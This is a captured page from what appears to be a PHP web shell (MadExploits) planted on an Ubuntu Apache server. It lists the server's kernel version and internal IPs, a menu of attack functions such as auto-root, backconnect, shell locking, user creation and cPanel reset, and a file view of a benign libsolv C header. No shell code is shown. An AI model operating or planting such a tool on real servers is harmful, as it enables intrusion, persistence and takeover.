Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
miniconda3 /
python /
include /
solv /
[ HOME SHELL ]
Name
Size
Permission
Action
bitmap.h
1.52
KB
-rw-rw-r--
chksum.h
1.16
KB
-rw-rw-r--
conda.h
638
B
-rw-rw-r--
dataiterator.h
4.99
KB
-rw-rw-r--
dirpool.h
1.67
KB
-rw-rw-r--
evr.h
815
B
-rw-rw-r--
hash.h
1.57
KB
-rw-rw-r--
knownid.h
13.69
KB
-rw-rw-r--
policy.h
1.7
KB
-rw-rw-r--
pool.h
13.77
KB
-rw-rw-r--
poolarch.h
1.21
KB
-rw-rw-r--
poolid.h
1.16
KB
-rw-rw-r--
pooltypes.h
1.06
KB
-rw-rw-r--
poolvendor.h
499
B
-rw-rw-r--
problems.h
2.65
KB
-rw-rw-r--
queue.h
2.41
KB
-rw-rw-r--
repo.h
7.85
KB
-rw-rw-r--
repo_conda.h
491
B
-rw-rw-r--
repo_solv.h
557
B
-rw-rw-r--
repo_write.h
1.93
KB
-rw-rw-r--
repodata.h
11.93
KB
-rw-rw-r--
rules.h
6.43
KB
-rw-rw-r--
selection.h
2.55
KB
-rw-rw-r--
solv_xfopen.h
553
B
-rw-rw-r--
solvable.h
3.87
KB
-rw-rw-r--
solver.h
17.66
KB
-rw-rw-r--
solverdebug.h
1.24
KB
-rw-rw-r--
solvversion.h
1.61
KB
-rw-rw-r--
strpool.h
1.44
KB
-rw-rw-r--
testcase.h
2.11
KB
-rw-rw-r--
tools_util.h
1.6
KB
-rw-rw-r--
transaction.h
4.75
KB
-rw-rw-r--
util.h
3.07
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : tools_util.h
/* * Copyright (c) 2007, Novell Inc. * * This program is licensed under the BSD license, read LICENSE.BSD * for further information */ /* * util.h * */ #ifndef LIBSOLV_TOOLS_UTIL_H #define LIBSOLV_TOOLS_UTIL_H static inline Id makeevr(Pool *pool, const char *s) { if (!strncmp(s, "0:", 2) && s[2]) s += 2; return pool_str2id(pool, s, 1); } /** * split a string */ #ifndef DISABLE_SPLIT static int split(char *l, char **sp, int m) { int i; for (i = 0; i < m;) { while (*l == ' ') l++; if (!*l) break; sp[i++] = l; while (*l && *l != ' ') l++; if (!*l) break; *l++ = 0; } return i; } #endif #ifndef DISABLE_JOIN2 struct joindata { char *tmp; int tmpl; }; /* this join does not depend on parsedata */ static char * join2(struct joindata *jd, const char *s1, const char *s2, const char *s3) { int l = 1; char *p; if (s1) l += strlen(s1); if (s2) l += strlen(s2); if (s3) l += strlen(s3); if (l > jd->tmpl) { jd->tmpl = l + 256; jd->tmp = solv_realloc(jd->tmp, jd->tmpl); } p = jd->tmp; if (s1) { strcpy(p, s1); p += strlen(s1); } if (s2) { strcpy(p, s2); p += strlen(s2); } if (s3) { strcpy(p, s3); p += strlen(s3); } *p = 0; return jd->tmp; } static inline char * join_dup(struct joindata *jd, const char *s) { return s ? join2(jd, s, 0, 0) : 0; } static inline void join_freemem(struct joindata *jd) { if (jd->tmp) free(jd->tmp); jd->tmp = 0; jd->tmpl = 0; } #endif #endif /* LIBSOLV_TOOLS_UTIL_H */
Close